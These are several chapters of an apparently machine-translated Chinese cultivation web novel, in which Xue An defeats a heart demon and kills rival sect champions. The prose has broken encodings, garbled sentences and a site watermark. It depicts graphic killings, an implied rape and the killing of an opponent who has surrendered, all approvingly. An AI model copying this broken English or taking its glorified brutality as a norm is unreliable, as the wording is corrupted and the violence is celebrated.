    Tang Xuan''er watched quietly, suddenly a thought came up in her heart.


    If there is any accident in An Yan, then these two little girls will be taken care of by themselves.


    The two little girls fell asleep contentedly after drinking their milk.


    And An Yan also turned from danger to peace, and after a day in the intensive care unit, he miraculously recovered.


    When Tang Xuan''er cautiously hugged the two little girls to the side of the bed and let An Yan watch.


    An Yan couldn''t help crying again.


    "Xuan''er, thank you!" An Yan said lowly.


    Tang Xuan''er smiled, "It''s okay, you and Xue An are both good friends of mine. Besides, how can I not save this kind of thing?"


    Hearing the words Xue An, An Yan was silent again Tang Xuan''er knew that she had failed, and stopped talking.


    But at this moment, a group of people suddenly broke into the ward.


    Tang Xuan''er was startled, "Who are you? What do you want to do?"


    The leader didn''t pay attention to her at all. Instead, he glanced at the two little girls in the crib with a green expression, and then said coldly.


    "What a shameless slut, Anjia''s face has been lost by you!"


    "Please go out! This is the ward, I can call the police if you do this!" Tang Xuan''er said sharply.


    "Call the police? Okay, then you report it!" The leader sneered.


    Tang Xuan''er took out her mobile phone and really planned to call the police.


    An Yan lying on the bed said with difficulty: "Xuan''er, no! They are from my family!"


    Tang Xuan''er was stunned.


    At this time An Yan looked pale and looked at the incoming person, "An Xue, the old lady sent you here!"


    It is the second uncle of An Yan, An Xue.


    Anxue sneered, "Yes! She asked me to take you and these two evil species back!"


    An Yan shook his head, "I can go with you, but the two daughters must stay!"


    Anxue glared, "Anyan, do you still want to bargain with me at this time?"


    An Yan smiled pale, "If you don''t agree, then I will die immediately after I go back! Forcing my own granddaughter to death, if this reputation spreads, will your face be even more embarrassing?".


    Anxue was taken aback, "You..."


    then hesitated for a moment, nodded, "Okay! But you have to follow me now!"

 Chapter 804： Extraterritorial Heart Demon

    An Yan nodded, "You go out first, I want to talk to her!"


    Anxue glanced at Tang Xuan''er and hesitated, "I only give you three minutes!"


    After ���� said, he led the people out of the ward.


    "Yan''er..." Tang Xuan''er said.


    An Yan shook her head lightly, "Let me hug them!"


    Tang Xuan''er had a sore nose, and put the two little girls in An Yan''s arms.


    Regardless of the pain of the wound, An Yan hugged her two daughters, and tears burst into tears instantly.


    then choked and said, "Xuan''er, the oldest of these two daughters is Xue Xiang, and the youngest is Xue Nian!"


    Tang Xuan''er also cried, "Yan''er..."


    An Yan gently kissed the foreheads of the two little girls, and then shook Tang Xuan''er''s hand, "Xuan''er, I know this is very difficult, but I really don''t have anyone else to entrust, so I can only ask you to take care of it. These two little girls!"


    Tang Xuan''er nodded vigorously, "Don''t worry, I will take care of them both! I swear!"


    At this time, An Xue''s impatient voice came from outside, "Hurry!"


    Anyan touched the cheeks of the two daughters very reluctantly, and said softly: "You two want to listen to Aunt Xuan''er. Wait for me and wait for Dad to come back! You know?"


    at last.


    An Yan was pushed into another ambulance by An Xue and others, and then drove away from the hospital.


    Tang Xuan''er pushed the two little girls and was about to leave.


    can be at this moment.


    Several men in black went back and forth and walked into the ward.


    Tang Xuan''er was taken aback, "What are you doing?"


    The leading man looked gloomy, "Little girl, it''s none of your business, get out of here!"


    Tang Xuan''er was shocked and suddenly understood something, and then she guarded the two cribs behind her.


    "You...you are so cruel, don''t you even want to let the two children just born?"


    "Hehe, as I said above, these two children are wicked seeds, and wicked seeds must die! Get out of the way now, otherwise, even you have to die together!"


    Although Tang Xuan''er was frightened, she didn''t waver at all.


    These black-clothed men winked at each other and were about to move forward.


    Xue An, who had been watching all this as a bystander, finally couldn''t help it.


    Actually from the beginning, he watched all this silently from a ghostly perspective.


    He has no body and cannot interfere with anything in this dream.


    can only watch quietly.


    And all this happened after Xue An disappeared.


    At that time, An Yan had been pregnant for more than seven months. As a result, Xue An��s disappearance led to a premature delivery and even nearly died on the operating table.


    But it was only four years later that Xue An learned from Tang Xuan''er after he returned from rebirth.


    He once asked An Yan, and An Yan simply said a few words, but deliberately avoided talking about what happened.


    It wasn''t until this time that Xue An really witnessed what happened.


    At the beginning, Xue An was still awake.


    But when he saw An Yan holding his two daughters, he heard her heartbroken words.


    Xue An burst into tears without knowing it.


    From the moment he shed tears.


    There was a whisper of joy in the void.


    Then an invisible giant hand began to intervene, leading the change of dreams.


    at last.


    When I saw someone dared to do something to their two newly born daughters.


    Xue An could no longer remain calm, and his mind began to fluctuate violently.


    "Die me!"


    Xue An roared, and under the fierce anger, these black-clothed men were instantly burned to ashes.


    But at the moment when these black men disappeared.


    Dreamland has changed again.


    Xue An was in a daze, and then appeared outside the operating room.


    At this moment, he is squatting on the ground in the hallway, shaking.


    suddenly.


    The door of the operating room was pushed open.


    A doctor came out.


    "Who are family members?"


    Xue An stood up and looked at the doctor blankly.


    "The parturient has died because of heavy bleeding."


    "The two children also died after being born because of the lack of oxygen for too long!"


    "Mother and son are dead! Please be sorry!"


    This remark was like a heavy hammer, causing Xue An to shake his body and spit out a big mouthful of blood.


    "No...impossible, no! Yan''er won''t leave me! She said, waiting for me to make her the happiest person in the world!"


    Xue An said tremblingly.


    An imperceptible red glow flashed in the doctor''s eyes, and then he said in a mechanical voice, "Mother and son died, do you want the corpse? Throw it away if you don''t!


    Xue An didn''t seem to hear, but looked at the doctor blankly.


    At this moment, behind Xue An, a black mist loomed, and then gradually condensed into a dagger exuding a thick ominous aura.


    This dagger cut through the space silently and pierced Xue An''s back.


    Blade of the Heart Demon.


    Once stabbed, Xue An''s mood will be completely shattered and become a slave to the inner demon.


    at the same time.


    in that Bliss City.


    An Yan, who was working **** cooking, was suddenly shocked, and a strong ominous premonition surged into her heart.


    This feeling greatly changed An Yan''s expression.


    And the missing miss who was playing on the side was also taken aback, and then burst into tearsIt''s father! "


    "Dad has an accident!"


    An Yan was shocked, but quickly calmed down, and then desperately urged his cultivation.


    In an instant, her whole body was once again covered by the shackles of the seal.


    But at the moment when the breath of the whole body was sealed, An Yan exhausted all his cultivation base and passed a divine thought.


    This spiritual thought is very simple, only two words.


    "Husband!"


    can be these simple two words, but in an instant they passed through the barrier of space, the block of the heart demon, directly passed to the heart of Xue An, who was trapped in a dream.


    Xue An was shocked.


    The eyes that had been completely occupied by confusion were instantly clear.


    At this time, the blade of the heart demon had reached Xue An''s back.


    Xue An snorted coldly, and put his back on his back.


    The blade of the heart demon was firmly clamped by it.


    And the black mist controlling this magic blade trembled, and then an incredible voice came.


    "What''s the matter, how can you recover sober?"


    Xue An at this moment is full of anger.


    If it hadn''t been for the call just now, I might have really learned the way of this demon.


    So he suddenly used force to completely pinch the blade of the heart demon, and then said coldly. .


    "You are not a legacy from the Great Dream Sword Sovereign. With his cultivation base less than Da Luo, it is impossible to refine a powerful heart demon like you!"


    "If I guessed correctly, you should be an extraterritorial heart demon from outside the heavens! Am I right?"

 Chapter 805： The truth

    "You... how do you know this? Who are you?" A worried voice came from the black mist.


    "It doesn''t matter who I am! What matters is that you are dead today!"


    Xue An''s eyes flashed brightly.


    The black mist wanted to escape, but was shocked to find that he couldn''t move at all.


    Then Xue An stretched out his hand, directly reached into the black mist, and shook it suddenly.


    Click.


    The black mist dissipated.


    A strange bug with only one eye appeared in Xue An''s hand.


    This strange bug felt the threat of death, and couldn''t help shouting in horror: "My lord spare your life! Your lord spare your life!"


    But Xue An ignored his begging for mercy and just crushed it.


    boom.


    The invisible shock wave spread.


    An unmatched divine mind poured into Xue An''s sea of ??consciousness, making him a little lost.


    It wasn''t until a moment later that he gradually regained consciousness.


    This weird worm is an extraterritorial heart demon from outside the heavens.


    This is a peculiar existence that is not human, fairy, or god.


    But those big Luo and even the strong immortal kings among the heavens and ten thousand realms are quite jealous of them.


    Because these mind demon bodies are very fragile, but they are very good at grasping divine thoughts and construct an extremely real mind demon dream.


    A little carelessness will end in a dead end.


    In the endless years, there are countless strong men who have fallen under this little extraterritorial heart demon.


    is Xue An, who was once Xianzun, who almost knew the way of this thing.


    This is why Xue An did not hesitate to crush this extraterritorial heart demon.


    Because once this thing spreads, the consequences are simply unimaginable.


    At the same time, Xue An also obtained a lot of useful information from the remnants of the spirit demon.


    For example, the Great Dream Sword Sovereign who lived thousands of years ago, didn''t fall because of the impact on Da Luo as in the rumors.


    fell into the dream of this demon.


    But this Great Dream Sword Sovereign acted very decisively. At the last moment, he realized that something was wrong, so he exhausted all his cultivation base and sealed himself.


    So this extraterritorial heart demon was also trapped in this secret realm together, and could no longer get out.


    But the demon outside the domain is very cunning.


    The opening of the once-in-a-year-old dream collection is the trap set by this demon.


    What he wants is to find someone who can parasitize him among the practitioners who have broken in.


    And this demon is still very smart.


    He knew that if the coming repairmen were wiped out, it would soon be a Jedi that no one would dare to come.


    So he has been hiding behind the scenes and has not taken any action, and he will even give someone a little advantage.


    It was in this long flow of water that he persisted until now until he met Xue An.


    The heart demon caught Xue An''s spirit at a glance, and only then did his best to take it and prepare to parasitize it.


    was eventually seen through by Xue An and turned into a fan.


    After sorting out these ins and outs, a faint smile appeared on the corner of Xue An''s mouth.


    "This time it was a blessing in disguise. I actually filled up the last shortcoming in my state of mind! And gained the power of the heart demon. From then on, I will never be trapped by the heart demon again!"


    Then Xue An moved in his heart, and then closed his eyes.


    Now this remains is completely controlled by Xue An.


    So he can see the current situation of the people who entered the remains.


    After a while, he was slightly startled, "Is that so?"


    said, Xue An''s figure disappeared in place.


    At this moment, this blissful goddess has fallen into endless despair.


    The moment she walked into this relic.


    She was horrified to find that she had returned to that nightmare night again.


    She used to have parents and sisters.


    The family live happily together.


    That was the happiest time in her short life.


    But everything was changed that night.


    That day, she was sitting in the room with her sister.


    Suddenly, a big fire ignited in the direction of the front yard, the fire blazed into the sky, and there was a faint call to kill.


    The voice shocked her and her sister, not knowing what happened.


    Just then, her parents rushed over with blood all over.


    "Mu Ya, run!"


    This is the last word that Mu Ya, a blissful girl, heard her father say.


    next moment.


    This man who has been so good and has never done bad things all his life was cut into two parts with one sword.


    Blood was splashed and the body fell to the ground.


    "Master!" Mu Ya''s mother cried out and wanted to rush over, but as soon as she took a few steps, an invisible force smashed her chest.


    Her mother vomited blood and fell to the ground, she looked at the two sisters with her unwilling eyes, and then died.


    The blissful goddess Mu Ya stared at all this blankly, her brain was blank, and her whole body was shaking uncontrollably.


    These nightmarish scenes reappeared in front of her, leaving her with no resistance, so she was quickly controlled by this dream.


    At this time, there was a sound of laughter from a distance.


    Her sister grabbed her, then dragged her into the closet in the secret room for storing valuables.


    "No matter what happens, don''t make any noise, you know?"


    Muya can still remember the expression on her sister''s face when she said this.


    It was an indescribable calm in the face of the coming disaster.


    Muya was so frightened that she didn''t even have time to respond, and the door of the secret room was closed heavily.


    Mu Ya reluctantly stood in this secret room that could only accommodate a girl like her, shaking all over, but she did not dare to make any noise.


    Because she heard messy footsteps outside, and then there was the joking sound of a group of men.


    "Hey, good luck, there is such a tender one here!"


    "You look really good-looking, brothers, give it a go today!"


    Then came her sister''s angry scolding, "What are you doing?"


    But then, the rage was drowned out by the man''s silver smile.


    Then there was the sound of the clothes being torn, and the scream of my sister.


    Although Mu Ya is young, she knows what is happening outside.


    The kind of horror from the heart made her tremble all over, and then she covered her mouth tightly, tears raining down.


    Because these are the memories that she has blocked in the bottom of my heart I don''t dare to touch at all.


    Now facing all this again, the heavenly girl of bliss feels that she is almost unable to hold it.


    Her eyes gradually diminished, and her expression became dull.


    The screams of the sister in the ears and the silver laughter of the men formed a **** overture, causing her to slowly fall into the bottomless abyss.


    At this moment.


    The blissful goddess suddenly heard a light sigh.


    "Want to know what''s going on?"


    Mu Ya was startled.


    Then the door of the secret room disappeared silently.


    Xue An stood in front of her and said lightly: "I will take you to see the truth."

 Chapter 806： The destruction of Bloodnet Mountain begins with you

    With the voice.


    The parents who died tragically, the elder sister who was tortured to death, the wicked man in black scarf...


    These pictures all appeared in front of Mu Ya.


    Then she saw that behind all these pictures, a group of people were standing high in the sky overlooking everything.


    See these people.


    Muya was completely stunned.


    Xue An said lightly: "Did you see it clearly? The instigator of everything is the group of people from Elysium."


    "You have Brahma''s charming bones, so from the day you were born, these people in Elysium have been secretly watching you!"


    "But your situation is very special, because your charming bones are hidden so deep that they can''t be revealed at all."


    "Unless you are greatly stimulated to completely cut off the dust, you will not be able to activate your talents in your life!"


    "So these people came up with this trick to completely cut your bondage!"


    "But these people have overplayed, causing you to be too irritated, and your soul is damaged. Although your cultivation and charm may be the best in the history of Elysium, you can no longer speak! "


    "Now, do you understand?"


    Xue An already knows everything in this dream after taking control of this inner demon, so he can see all the falsehoods at a glance.


    Hearing Xue An''s words, Mu Ya''s expression changed, and around her, those images began to fade away and return to nothingness.


    And her appearance began to gradually recover.


    Xue looked quietly, "Now, you know what to do next!"


    Mu Ya was silent for a moment, and then bowed to Xue Anshen.


    Xue An smiled, "I''ll see you again!"


    After that, Xue An snapped his fingers.


    Mu Ya felt that her surroundings had changed, and she actually came to Bliss.


    And the Ling Xiao who followed him into this relic is sitting on the throne of the owner at the moment, his face is full of excitement and joy.


    It wasn''t until she saw Mu Ya that she was shocked, and then she woke up from her vain fantasies.


    "My Goddess! Fortunately, you are here! Otherwise, I might be in a deep dream and I won''t be able to wake up again!" Ling Xiao said with a grateful expression.


    Mu Ya did not speak, but looked at her quietly.


    "Sir, what''s wrong with you?" Ling Xiao was still a little confused.


    Before the words fell, Mu Ya suddenly stretched out her hand and directly pinched Ling Xiao''s neck.


    Ling Xiao did not react at all, and was pinched into the air.


    "My Lord, you..." Ling Xiao wanted to struggle, but found that she couldn''t shake Mu Ya at all.


    At this moment, Mu Ya was like a wounded beast, roaring, opened her mouth and bit it down.


    This is biting Ling Xiao on the neck.


    and bite off a piece of meat.


    Ling Xiao was trembling with pain, and then as if he had understood something, he shouted desperately: "My Goddess, everyone in your family was ordered to be killed by the owner! It has nothing to do with me ah ah ah..."


    The scream stopped abruptly.


    Because of Mu Ya, he tore Ling Xiao''s throat alive.


    The blood mixed with the air in the lungs sprayed out, splashing Mu Ya''s face all over.


    Ling Xiao''s eyes were full of despair, and then Guanghua gradually dimmed and eventually became a corpse.


    When I saw Ling Xiao died.


    Muya fell to her knees, let out an unbearable cry, and finally spoke.


    "Father, mother, sister! I will avenge you!"


    Xue An appeared next to her at this time, and she couldn''t help but sigh when she saw this scene.


    Hearing the sound, Mu Ya turned her head to see Xue An, and then kowtoed to the ground, "My lord, Mu Ya will never forget it!"


    Xue An smiled, "It''s just a matter of effort!"


    At this moment.


    Snow''s drifting figure also emerged from the void.


    It''s just that the proud girl of heaven at this moment is scarred and exhausted.


    Only a pair of eyes filled with dazzling sword intent.


    When she saw Xue An and Mu Ya, she was startled first, and then said, "My lord!"


    Xue An looked at her a few times, and then said in a little surprise: "You have a clear sword heart?"


    Xue Liuli nodded, "I have broken through the barriers in my heart!"


    This sentence is an understatement, but only those who have experienced it will know how difficult it is.


    In this heart demon dream, Xue Liuli almost destroyed his sword heart several times and became a walking corpse.


    But at the last moment, she silently recited the eight words given to her by Xue An.


    Abide by the sword heart and never forget the truth.


    finally killed all the magical thoughts and successfully turned over.


    Xue An nodded approvingly, "Good job! From then on, your kendo cultivation will reach a thousand miles."


    Xueliu bowed to Xue An respectfully, "Everything depends on the help of adults."


    Xue An smiled noncommitantly, and then said lightly: "This is the end of the matter, and it should be done!"


    said, Xue An suddenly stamped his foot.


    The entire dream world began to vibrate, then cracks appeared, and finally burst into pieces.


    Then a magnificent palace appeared.


    Several people stood on the square in front of the palace, and they looked at everything around them blankly.


    Especially the great performer of Blood Net Mountain, Chang Luo Sanqian, he also met his own demons.


    But he had already prepared before he came into this relic, so he smoothly killed the heart demon.


    It''s the little sister Xing Dannan who killed the Red Mansion who was more troublesome, but with the help of Luo Sanqian, she managed to get rid of the trouble of dreams.


    But then Luo Sanqian discovered that he couldn''t get out anyway.


    What I can see is nothingness.


    At the beginning, Luo Sanqian didn''t care too much, but when he couldn''t break the void through various methods, he started to panic.


    Something is wrong!


    It is said that as long as you pass the dream of the heart demon, you can enter this relic.


    But how can you be trapped in the void this time?


    Under this doubt, Luo Sanqian became more and more anxious.


    Just when he began to feel desperate, there was a huge shock in the void, and then suddenly he was bright and he was already in front of a magnificent palace.


    And he is not the only person in the field at this moment.


    Ye Chongshan, the young master of Fierce Demon Valley, was also looking at the palace in front of him, covered in blood.


    He also met his own demons.


    The people in the Devil Valley of the Sorrowful Devils emphasize the polarity of extinction.


    Therefore, this Ye Chongshan just blindly fights in his dream.


    So when he suddenly came out of the dream, he also looked at the scene in front of him in a daze.


    The similar encounter was Li Hanqing, who killed the Red Chamber.


    All of them were stunned for a moment, and then trembling all over, they rushed to the palace immediately.


    The one who rushed to the forefront was the great acting master Luo Sanqian.


    His excited eyes are reddening at this moment As long as the first one breaks into this palace, the remains will be mine!


    Not to be outdone, the two following closely rushed forward.


    But just when Luo Sanqian was only a few feet away from the palace gate.


    A sword light came over the sky and cut directly in front of Luo Sanqian.


    If Luo Sanqiansheng hadn''t stopped his figure, this sword might have caused him to fall on the spot.


    Luo Sanqian took a breath, shocked in his heart.


    at the same time.


    A calm voice sounded, "As I said, the Blood Net Mountain is dead for me, and you are the first!"


    With the voice, Xue An''s figure slowly emerged in the air, like a nine-day emperor, overlooking the all living beings under his feet.

 Chapter 807： Big rune

    It was him!


    All these people''s complexion changed slightly.


    At this moment, the Heavenly Girl of Bliss and Xue Liuli appeared behind Xue An like servants.


    Zhan Hong Lou''s host Li Hanqing''s expression sank, "Niezha, really lost our face in Zhan Hong Lou!"


    Xueliu sneered when he heard the words, and then rushed to Li Hanqing silently to cut his throat.


    Li Hanqing was shocked, "You..."


    Xueliu said indifferently: "Master, don''t worry, after the adults have cleaned up this Luo Sanqian, it''s your turn!"


    Luo Sanqian looked gloomy, "Boy, you have provoke me several times, do you really think I dare not kill you?"


    Xue An smiled faintly, "It''s useless to say more, let''s do it!"


    Luo Sanqian snorted coldly, and mysterious golden runes appeared in his eyes, "This is your own death! You can''t blame anyone else!"


    As he said, a number of golden sutras appeared around Luo Sanqian.


    Luo three thousand eyes narrowed slightly, "Hey!"


    These golden sutras are instantly united and turned into a round of golden light.


    This rune wheel hangs in the air, exuding an extremely powerful aura.


    "go with!"


    The wheel of runes shredded the sky in an instant, brought a faint golden light, and rushed directly to Xue An.


    See this scene.


    Ye Chongshan, the young master of the fierce demon, and the master of Zhanhong were all shocked.


    Especially Ye Zhongshan.


    Wenzhen, he ranked sixth.


    And the great performer, Luo Sanqian, dominated him, ranking fifth.


    Ye Chongshan was very unconvinced.


    But as soon as I saw this rune today, I knew that Luo Sanqian''s questioning list was the fifth one.


    Ye Chongshan asked himself that even in the face of this blow, he had to retreat and didn''t dare to take it hard.


    What''s more, this kid who has been dying again and again?


    Thinking of this, a cold smile appeared on the corner of Ye Chongshan''s mouth, and he looked at Xue An with a deadly look.


    can be at this moment.


    Xue An did not evade as everyone thought, but stood high in the sky, facing the attacking golden rune with indifferent expression.


    Seeing that the rune wheel is about to touch Xue An, the space that the golden light is disturbing is shaking slightly.


    Xue An still did not move.


    Is it scared to be silly?


    Everyone is wondering.


    But seeing Xue An stretch out his hand, he caught it.


    Xue Ansheng caught the rune wheel spinning frantically.


    ''S rotation was also stopped.


    Seeing this scene, everyone was terrified.


    Luo Sanqian''s expression changed wildly, and he couldn''t believe his eyes.


    You should know the rune that Luo Sanqian has studied since the beginning of Taoism.


    plus his talent, so in just a hundred years, he has become the arrogant of the world.


    That''s why Luo Sanqian feels negative about his cultivation.


    This golden rune wheel is even a piece of talisman he carefully cultivated. It is so powerful that it can slash the golden immortal under the horse.


    But today, he was caught by this man.


    Luo Sanqian was naturally shocked.


    And Xue An looked at the talisman wheel in his hand at this time, and smiled faintly, "It''s an exquisite gadget, but that''s it!"


    After that, Xue An suddenly pinched.


    The golden light on the talisman flickered sharply a few times, and then there was a crisp sound, showing cracks and becoming scraps.


    Squeeze the talisman.


    How powerful is this body and strength?


    "Is that enough? If you have something to do, please let me know! I took it today!"


    The indifferent words in Xue An''s words completely angered this Luo Sanqian.


    "Boy, I underestimated you! But do you really think that with your strength, you can show off in front of me?"


    "A magic rune!"


    The strength that Xue An just showed made Luo Sanqian no longer have the slightest intention of underestimating him, and directly used his strongest ultimate move.


    I saw Luo Sanqian''s whole body emitting a light like a big sun, and a golden light appeared from the top of his head, rushing straight into the sky.


    In this golden light, countless runes are rolling and evolving.


    Luo Sanqian has pushed his cultivation base to the extreme.


    There are even two mysterious runes in his eyes.


    at the same time.


    The rune in the golden light has evolved, and a huge talisman gradually emerges.


    When this talisman came out, the void was shaken.


    Ye Chongshan and others who were close by all backed away.


    There was an extremely solemn expression on his face.


    Because they think they can''t fight the blow.


    "Xue An, you can force me to use this blow, it is enough to be proud! Go to hell!" Luo Sanqian shouted, and pointed forward.


    This talisman went straight to Xue An.


    And this talisman gradually enlarged in the middle. When Xue An approached, it had become similar to a hill, and then it banged straight down.


    As far as the golden light reaches, this hidden secret realm is trembling, and black cracks appear in the space, as if even the space is about to be shattered.


    Such a tyrannical blow made everyone look disgraced.


    Only Xue An stood high in the sky, looked up at the talisman that was smashed from the top of Mount Tai, and said lightly: "Since you are famous for your magic rune, then I will destroy you with the rune!"


    speaks out.


    Luo Sanqian laughed loudly, "Joke, I am the number one rune of Guiyi, you actually want to win me with rune? Really..."


    The sound stopped abruptly.


    I saw Xue An stretch out one hand and draw a symbol in the void.


    A series of extremely mysterious and complex runes appeared in the air in a flash, and then quickly assembled and arranged.


    in an instant.


    A talisman seal the size of a palm has been formed.


    This talisman came out.


    Xing Dannan almost laughed out loud, and then said disdainfully: "It was such a big battle, but the result was such a thing, it is really a laugh!"


    As she said, she turned her head to want to say something to Luo Sanqian, but suddenly realized that her brother Luo was pale and trembling.


    at the same time.


    A heart-pounding coercion appeared in the sky, shaking the audience.


    Xing Dannan looked up.


    I saw a ray of colorful light appeared in the palm-sized talisman As soon as this light came out, the golden amulet light that had just enveloped the entire sky was like a courtier seeing the emperor. , It dimmed in an instant.


    Then this colorful light shone on the big performance rune like a hill.


    This great performance rune trembled a few times, and then it began to gradually disintegrate and melt, and then turned into gold liquid, which was absorbed by this rune.


    in an instant.


    The great performance rune that had just returned to the sky blasted and turned into nothing.


    The talisman seal painted by Xue An is as large as a human being, suspended in the air, with colorful rays illuminating the sky, evolving various phenomena.


    "Now, can you be convinced?" Xue An looked at Luo Sanqian who was already shaking, and said lightly.


    Luo Sanqianya trembles.


    As a Fu Xiu, he can naturally feel the mysterious and powerful of the talisman painted by Xue An.


    But what shocked him even more was that he drew such a rune with a trace of heavenly rules.


    The gap in this can no longer be calculated.


    "Serve... convinced!" Luo Sanqian said with great difficulty.


    As soon as this statement came out, Ye Chongshan, Li Hanqing, the host of the Red House, including the little junior sister Xing Dannan, were all discolored.


    Where did this man come from?


    actually bowed his head with the Yuanzong Tianjiao who was pressed by a talisman.

 Chapter 808： Come on, how do you want to die today?

    Xue An nodded, "Very well, then you go to death now!"


    Luo Sanqian shook his whole body, and then shouted in a terrifying voice: "Xue An, you can''t kill people, not to mention, I have conceded now, why are you killing me?"


    Xue An smiled coldly, "Who said you don''t have to die if you give up? In front of me, even if you kneel down, you must die!"


    Luo Sanqian was furious, "Xue An, you behave so domineeringly, do you really think I''m afraid of you?"


    "Domineering?" Xue An looked up to the sky with a long laugh, and the voice shook everywhere, and everyone remained unchanged.


    "Today, I will show you what is truly domineering."


    Following Xue An��s words, the talisman seal the size of a human, instantly became extremely large, standing upright, and smashed towards Naluo Sanqian.


    Luo Sanqian screamed when he saw the talisman in the sky and the earth, and he turned around and ran.


    But he just ran out for a few miles.


    A gleam of colorful light flashed above the talisman seal, directly blasting towards Luo Sanqian''s back.


    "No!" Luo Sanqian screamed, trying to avoid it, but the colorful light did not give him a chance to react, so it hit his back.


    Luo Sanqian was blasted away hundreds of feet away, and after landing, he opened his mouth and spit out a big mouthful of blood.


    His eyes have become terrified, and then hoarsely said, "What kind of seal is this?"


    Xue An stood with his hand in his hand, and said lightly: "I don''t know, I just drew a few strokes, I didn''t expect you to be so vulnerable."


    "What?" Luo Sanqian angered his heart, and vomited another big mouthful of blood.


    Such a mighty talisman seal, he actually drew it casually?


    Luo Sanqian would never believe it.


    But he didn''t know, what Xue An said was true.


    Fuzhuan is originally an opportunity to change.


    The ever-changing is a secret.


    Xue An drew it casually, and contained a touch of the law of heaven, and the power of nature is infinite.


    This is also the reason why Xue An does not stick to any written documents.


    This Luo Sanqian realm hasn''t arrived, so naturally I can''t understand this.


    At this moment, his eyes were distracted, and he could only stare at Xue An with resentment.


    "Xue An, don''t be proud, kill me, Blood Net Mountain will never let you go!"


    After that, Luo Sanqian suddenly spit out a large mouthful of blood. The blood coagulated and floated in the air, forming a rune, and then straddling the void in an instant, and printing it on Xue An''s arm.


    "Hehe, Xue An, you have hit my Huangquan Rune, you never want to get rid of the chase from Blood Net Mountain in your life! Hahahaha uh..."


    Luo Sanqian looked stupidly as if he was strangling his throat by something.


    Because Xue An looked down at this Huangquan rune after hitting it, then stretched out his hand.


    The dark red mark disappeared.


    "I didn''t want to play this stuff anymore! Give it back to you!"


    Xue An raised his hand, and this imprint flew back at an extremely fast speed, directly printed on Luo Sanqian''s forehead.


    Luo Sanqian let out a terrible scream.


    "Xue An, what did you do to me?"


    Xue An said indifferently: "I know that you so-called goddesses of Tianjiao have their own means of life-saving, so I left a mark in your spiritual thoughts. In this way, even if you are born on the basis of weight, I can still Find you and kill you again!"


    Xue An''s words made Luo Sanqian fall into the ice cellar.


    He did have this plan just now.


    So he didn''t seem so worried.


    But now Xue An''s words are like cold water toppings, making him shudder.


    "You devil! What hate and resentment between our Blood Net Mountain and you, why do you treat us like this?"


    "What kind of hatred? Ha ha, Lu Yiyue from Sihua City, do you know?"


    Hearing this name, Luo Sanqian was shocked, and there was an extremely shocking light in his eyes.


    "you are����."


    Xue An nodded, "Yes, I am!"


    "No! Isn''t that place already extinct from the heavens? How could there be a strong like you?"


    Xue An said lightly: "It seems that you know a lot, yes, I came from there. I want to collect the debt that you blood net mountain committed to Sihua City!"


    Luo Sanqian can no longer speak.


    And Xue An flicked his finger, and the talisman seal that had been suspended above Luo Sanqian''s head crashed down, and directly smashed it into fleshy mud.


    The great performer, Chang Luo Sanqian, who is known as the number one rune of the One Domain, died on the spot.


    After doing all this, Xue An turned to look at these people around him, and smiled faintly, "Let''s talk about it, how do you want to die? I will fulfill you today."


    The people who were in shock due to Luo Sanqian''s death all groaned.


    Especially that young master Ye Chongshan.


    I saw him grinning, "Xue An, I admit that you are really good, but do you think this can do anything to me? I..."


    Xue An frowned slightly, "Noisy!"


    After that, Xue An stepped out, and the whole person came to Ye Chongshan in an instant, and he raised his palm to pat.


    Boom!


    Ye Chongshan, who has always been very self-esteem, was too late to resist, so he was shot and flew out with this palm.


    Then he vomited blood repeatedly in the air, and shouted in disbelief, "Impossible, you..."


    Xue An''s figure flashed, and once again appeared above him, and his face was indifferent and punched again.


    This Ye Chongshan was like a ball, and it was hit directly into the ground.


    With a palm and a punch, the fierce body that Ye Chongshan has always been proud of was smashed to pieces.


    At this moment, he was limp to the ground, unable to move, he could only stare at Xue An in the air blankly, his eyes flashed with infinite regret.


    It wasn''t until this time that he finally understood how big the gap between himself and this man was.


    And I actually dare to provoke him again and again, really looking for death by myself.


    But he wanted to beg for mercy, but he couldn''t even speak. He could only look at Xue An with pleading eyes, and made a gurgling noise from his throat.


    Xue An didn''t even look at it, just a flick.


    A sword beam pierced his forehead, then shot from the back of his head, pinning him to the ground.


    Blood oozes ~ www.novelhall.com~ a large area of ??ground soaked.


    Ye Chongshan''s eyes gradually dimmed, and there was still a trace of doubt on his face.


    doesn''t seem to believe that he died like this.


    This fierce young master, kill him.


    So far, but in the light of a meal, Xue An has killed two peerless arrogances in a row.


    This supreme mighty power shocked the audience.


    Especially Li Hanqing, the host of Zhanhong, and Xing Dannan, who is like a little white lotus.


    At this time, the two masters and apprentices were pale, covered in cold sweat, and bowed their heads, not dare to look at Xue An.


    But the ones who should come can never hide.


    Xue An looked at the two masters and apprentices, a cold smile appeared on the corners of his mouth.


    "Go ahead, how are you going to die?"

 Chapter 809： Good 1 white lotus

    The pair of masters and disciples trembled, their faces all showing despair.


    Li Hanqing said bitterly: "Xue An, why do you rush to kill like this? I have no grudges against you in Zhan Honglou, can you let us go?"


    Xue An smiled slightly, "It''s not that I rushed to kill you, someone else would kill you!"


    After that, Xue An turned his head to look at Xue Liuli, "Lili, these two will be handed over to you, kill and save, you have the final say!"


    I heard Xue An��s words.


    Xue Liuli was startled slightly, then nodded, "Yes!"


    But Li Hanqing and Xing Dannan''s faces gradually turned pale.


    Because what they did to Xue Liuli is enough for them to die several times.


    "Wandering..." Li Hanqing swallowed hard, and shouted with a strong smile.


    Xueliu looked at the hostess who had been aloft.


    She is not Xue Liuli''s master of the industry, but the master of Zhanhong who has become the master of Zhanhong through various means.


    Zhan Honglou was also under her control, and it gradually declined.


    even became the last one of the Three Heavenly Sects.


    And this person is usually jealous and repels dissidents.


    Xue Liuli was squeezed out to the point where everyone betrayed her, because she was not from Li Hanqing''s faction.


    Thinking of this, Xue Liuli smiled coldly.


    "My lord, have you ever thought, do you have today?"


    Li Hanqing''s face turned pale, but when his eyes rolled, he felt caress in his heart. Then he said in a deep voice, "Xue An, is what you just said is true? Since you have given this to Xue Liuli, then you can''t do it again. Intervene!"


    Xue An nodded, "That''s natural."


    A flash of joy flashed in Li Hanqing''s eyes, "Very good! Snow drifts away, it''s useless to say more, now if you have the ability, kill me! Otherwise...I still have to go."


    After that, Li Hanqing raised his foot to leave.


    Xing Dannan was originally full of shock and fear, but when he saw his master acting like this, he instantly understood.


    Xue An just said that this matter is left to Xue Liuli to handle it.


    But with her gradual decline in cultivation, even she can outperform her, not to mention her master.


    Although this Zhanhong Louzhu''s cultivation base is the weakest among the three-day sect masters, it is not something Xue Liuli can match.


